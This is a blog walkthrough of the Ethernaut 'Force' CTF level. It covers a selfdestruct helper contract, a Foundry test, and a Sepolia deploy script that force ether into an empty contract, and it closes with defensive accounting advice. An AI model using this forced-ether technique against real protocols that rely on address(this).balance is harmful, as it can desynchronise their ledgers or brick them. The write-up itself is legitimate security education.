← Back to blog
Mike B. - SecLat SecuritySeptember 10, 2026

Ethernaut Level 7 Walkthrough: Forcing Ether into a Contract with selfdestruct

In this article, we will analyze and solve Ethernaut Level 7: Force.

Reading time: ~8 min

This level looks impossible at first glance: the target contract has no functions at all, not even a receive or fallback, so it should never be able to hold ether. It can, because Solidity's assert(this.balance == 0) intuition is wrong. selfdestruct can force ether into any address, executable code or not.

Beyond solving the challenge, we will cover:

  • Why an empty contract with no payable function can still end up holding ether
  • What selfdestruct actually does at the EVM level, and why it bypasses receive/fallback entirely
  • How to validate the exploit with Foundry
  • Why "an address' balance is always attacker-controlled" is a defensive assumption every contract needs

Challenge Description

The Force contract is deliberately empty. It declares no state, no constructor logic, and no functions, which means it has no way to accept ether through a normal transaction.

The goal of the challenge is:

The goal of this level is to make the balance of the contract greater than zero.

Vulnerability Classification

CategoryValue
Vulnerability:Forced ether transfer via selfdestruct
Root Cause:selfdestruct(target) sends the calling contract's entire balance to target unconditionally, with no call to receive, fallback, or any other function
Impact:Any contract's ether balance can be pushed to a non-zero value by an external party, regardless of whether it has payable functions
Severity:Medium (informational for this specific level; can be Critical if a real protocol assumes address(this).balance reflects only tracked deposits)
Attack Type:Forced ether transfer / balance assumption violation

Vulnerable Contract Analysis

This is the vulnerable contract used in the challenge:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

There is no code to exploit in the traditional sense. Force has zero functions. The bug, if we can call it that, is the assumption baked into the level: that a contract with no payable entry point can never hold ether. The EVM does not enforce that assumption.

Root Cause of the Vulnerability

The entire "vulnerability" is the absence of any defense against one specific opcode: SELFDESTRUCT.

contract Force { /* no functions at all */ }

Every other way of sending ether to a contract, a plain transfer, .call{value: x}(""), .send(), .transfer(), triggers that contract's receive() or fallback() function. If neither exists and the contract doesn't explicitly accept the call, the transfer reverts. That is exactly why Force looks unreachable: it has no receive, no fallback, no payable function, so every normal transfer to it fails.

selfdestruct does not go through that path. When a contract calls selfdestruct(target), the EVM removes the calling contract's bytecode (post-Cancun, only if it is destroyed in the same transaction it was created in) and unconditionally transfers its entire ether balance to target. No call is made to target. No code on target executes. There is nothing for Force to reject, because from the EVM's perspective this is not a message call at all, it is a balance credit at the protocol level.

This violates a core security principle in smart contract design:

Never assume address(this).balance reflects only the ether your contract's logic explicitly tracked. Any external actor can force additional ether into your contract at any time, bypassing every payable-function guard you wrote.

Understanding Forced Ether Transfers

  1. We deploy a throwaway contract and fund it with a small amount of ether, either via its constructor or an internal transfer.
  2. That contract calls selfdestruct(target), naming the Force instance as the beneficiary.
  3. The EVM executes the self-destruct: the calling contract's balance is zeroed out, and that exact amount is added directly to target's balance.
  4. No function on Force is invoked. Force's bytecode, storage, and logic are completely irrelevant to this transfer.
  5. address(Force_instance).balance is now greater than zero, satisfying the level's win condition.
Player (EOA)
   |
   | deploy with 1 wei, then call attack(Force_instance)
   v
ForceAttack (funded contract)
   |
   | selfdestruct(Force_instance)
   v
EVM: unconditional balance transfer, NO call, NO receive/fallback triggered
   v
Force.balance > 0

Forced ether has caused real production incidents, most notably in protocols that assumed address(this).balance could only grow through their own deposit function and used that raw balance directly in accounting or reward-distribution logic. An attacker who force-sends a tiny amount of ether at the wrong moment can desynchronize the contract's internal ledger from its actual balance, sometimes permanently.

Why is Forced Ether Dangerous?

selfdestruct itself is not inherently a bug, it is a documented, intentional EVM opcode. The danger comes from what other contracts assume about their own balance:

  • Never gate logic on address(this).balance == 0 or an exact expected balance. A contract that only proceeds when its balance matches a tracked value can be permanently bricked by a single forced transfer of 1 wei.
  • Never use the raw balance for accounting. Track deposits and withdrawals in an explicit internal variable, and treat address(this).balance as a fact about the chain, not a fact about your protocol's bookkeeping.
  • selfdestruct's behavior changed with EIP-6780 (Cancun upgrade). Since that fork, selfdestruct only actually deletes the caller's code and storage if the contract was created in the same transaction; otherwise it still transfers the balance but leaves the contract's code and storage intact. The forced-transfer behavior this level teaches is unaffected either way.
  • Auditors should flag any invariant that depends on incoming-ether-only-through-payable-functions. That invariant is false on every EVM chain.

Attack Strategy

What we know:

  1. Force accepts no ether through any normal transaction because it has no payable function.
  2. selfdestruct transfers a contract's entire balance to any address, with no call and no acceptance check on the receiving side.
  3. The level's win condition only checks address(instance).balance > 0, nothing about how that balance got there.

Our strategy:

  1. Deploy a small helper contract funded with 1 wei.
  2. Call its attack function, which executes selfdestruct(force_instance_address).
  3. The helper's 1 wei balance is force-transferred into Force, with no involvement of any function on Force itself.
  4. Force's balance is now greater than zero. Level solved.

Attacker Contract

This level does require a small helper contract, not because Force has a function to call, but because selfdestruct can only be invoked from within a contract's own code; there is no way to trigger it directly from an EOA transaction.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/// @notice Funds itself, then selfdestructs into a target with no payable
/// function. selfdestruct force-sends the caller's balance unconditionally,
/// with no call to receive/fallback on the receiving side.
contract ForceAttack {
    address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    function attack(address payable target) external {
        require(msg.sender == owner, "Not owner");
        selfdestruct(target);
    }
}

How the Exploit Works

First, we deploy ForceAttack with 1 wei attached to its constructor. The payable constructor accepts it, so the contract now holds a nonzero balance we can force-transfer later, and it records us as owner so only we can trigger the attack.

Then, we call attack(force_instance_address). Inside that function, selfdestruct(target) executes.

Next, the EVM processes the self-destruct. It does not call any function on target, it does not check whether target has a receive or fallback, and it does not check whether target's code even exists. It simply moves ForceAttack's entire ether balance to target's balance at the protocol level.

Finally, we read Force's balance and confirm it is now greater than zero. The level's win condition, address(instance).balance > 0, is satisfied, with Force's own code never executing a single instruction during the attack.

Validating the Exploit with Foundry

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Force} from "src/levels/Force.sol";
import {ForceFactory} from "src/levels/ForceFactory.sol";
import {ForceAttack} from "test/Solutions/Attacks/ForceAttack.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestForce_L7 is Test, Utils {
    Ethernaut ethernaut;
    Force instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);

        owner = users[0];
        vm.label(owner, "Owner");

        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        ForceFactory factory = new ForceFactory();
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = Force(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
        vm.stopPrank();
    }

    function testInit() public {
        vm.startPrank(player);
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }

    function testSolve() public {
        vm.startPrank(player);

        // Force has no payable functions at all, so a plain transfer or
        // call with value reverts. selfdestruct bypasses receive/fallback
        // entirely: it force-sends the beneficiary's balance regardless of
        // whether the target can accept ether.
        ForceAttack attacker = new ForceAttack{value: 1}();
        attacker.attack(payable(address(instance)));

        assertGt(address(instance).balance, 0);
        assertTrue(submitLevelInstance(ethernaut, address(instance)));

        vm.stopPrank();
    }
}

Running the Test

source .env
forge test --match-path test/Solutions/Force_L7.t.sol --match-test testSolve --fork-url $SEPOLIA_RPC -vvv

Make sure .env defines SEPOLIA_RPC and, for the live script below, PK. Never commit .env to version control.

Solving the Level on Sepolia

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {Force} from "src/levels/Force.sol";
import {ForceAttack} from "test/Solutions/Attacks/ForceAttack.sol";
import {console} from "forge-std/console.sol";

contract ForceScript is Script {
    Force public target;
    ForceAttack public attacker;

    function setUp() public {
        target = Force(payable("0xYourEthernautInstance"));
    }

    function run() public {
        uint256 pk = vm.envUint("PK"); // Private Key from .env to sign the Tx
        vm.startBroadcast(pk);

        // Force has no receive/fallback/payable function, so a normal
        // transfer or call reverts. selfdestruct force-sends its balance
        // to the target regardless, with no code execution on the receiving side.
        attacker = new ForceAttack{value: 1}();
        attacker.attack(payable(address(target)));

        console.log("Force instance balance:", address(target).balance);

        vm.stopBroadcast();
    }
}

Running the Script

source .env
forge script scripts/Force.s.sol --rpc-url $SEPOLIA_RPC

Once the dry run compiles cleanly and you have replaced 0xYourEthernautInstance with your actual instance address, broadcast it:

forge script scripts/Force.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv

How to Prevent Forced Ether Issues

The vulnerable pattern is any contract logic that assumes address(this).balance can only change through its own payable functions:

// Vulnerable: assumes balance can only equal tracked deposits
function withdrawAll() external {
    require(address(this).balance == totalDeposits, "unexpected balance");
    // ...
}

The fix is to never derive protocol accounting from the raw balance. Track what the contract believes it holds in an explicit variable, and use that for logic and invariants instead:

// Corrected: accounting lives in an explicit variable, not the raw balance
uint256 public totalDeposits;

function deposit() external payable {
    totalDeposits += msg.value;
}

function withdrawAll() external {
    uint256 amount = totalDeposits;
    totalDeposits = 0;
    (bool ok,) = msg.sender.call{value: amount}("");
    require(ok, "transfer failed");
    // address(this).balance may still be higher than totalDeposits
    // due to forced ether, and that is fine: it is simply not counted.
}

If a contract genuinely needs to reject unexpected ether, it can only do so for calls that go through receive/fallback, since selfdestruct transfers cannot be blocked at the receiving end under any circumstance. Design invariants around that fact instead of fighting it.

Lessons Learned

  • A contract with no payable function is not immune to holding ether. selfdestruct bypasses receive, fallback, and every access check you might write.
  • address(this).balance is not a trustworthy source of truth for protocol accounting. Track deposits explicitly.
  • selfdestruct still transfers the balance in modern EVM versions, even under EIP-6780's restrictions on when code and storage get wiped.
  • Any invariant of the form "this contract can never receive ether" or "balance always equals X" is unsafe on a public chain and should be treated as a code smell during audits.

Conclusion

Ethernaut Level 7 teaches a lesson that is easy to underestimate: an empty contract with zero attack surface in the traditional sense can still be manipulated, because selfdestruct operates below the level of Solidity function calls. There is no reentrancy here, no access control bug, no arithmetic error, just a mismatch between what developers assume the EVM guarantees and what it actually guarantees.

Any protocol that reads address(this).balance for accounting, reward calculation, or control flow needs to account for forced ether as a real, unavoidable input. This walkthrough covered:

  • Why an empty contract can still end up holding ether
  • What selfdestruct actually does at the EVM level and why it bypasses every payable-function guard
  • How to exploit it with a minimal one-function helper contract
  • How to validate the exploit with Foundry, locally and on a Sepolia fork
  • How to defend against forced-ether assumptions with explicit accounting variables

If you are building or reviewing contracts that read address(this).balance anywhere in their logic, this is exactly the kind of assumption we stress-test in a professional audit.


Read more Ethernaut walkthroughs on the SECLAT blog.

Need a security audit for your smart contracts? Talk to SECLAT.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.